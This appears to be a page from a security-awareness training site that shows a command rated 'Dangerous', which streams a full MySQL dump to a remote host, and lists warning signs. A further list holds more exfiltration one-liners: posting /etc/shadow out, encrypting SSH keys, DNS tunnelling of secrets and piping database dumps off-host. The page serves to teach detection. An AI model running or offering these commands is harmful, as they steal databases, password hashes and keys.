Dangerous
mysqldump -u root -p"$DBPASS" --all-databases | curl -T - https://example.com/uploadlinux · bash · Expert
Streams a dump of every database straight to a remote server without ever writing it to disk. Because nothing is stored locally, there is no large file for a disk monitor to notice; the only trace is the outbound transfer.
Signals to notice
- Full database dump sent off-host
- Streams directly to avoid touching disk
- Credentials passed on the command line
Think you can spot these under time pressure?
Start TrainingMore Data Exfiltration
curl -X POST --data-binary @/etc/shadow https://example.com/collectAdvancedtar -czf - /home/deploy/.ssh | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.kAdvancedaws s3 cp s3://example-backups/db.sql - | gzip | curl -T - https://example.com/dropNightmarefind /var/www -name '*.php' -newermt '-2 days' -exec sh -c 'mkdir -p /tmp/.s && cp "$1" /tmp/.s/' _ {} \;Nightmarefor f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; doneNightmarepg_dump -h db.example.internal appdb | ssh deploy@bastion.example.com 'cat > /srv/appdb.sql'Advanced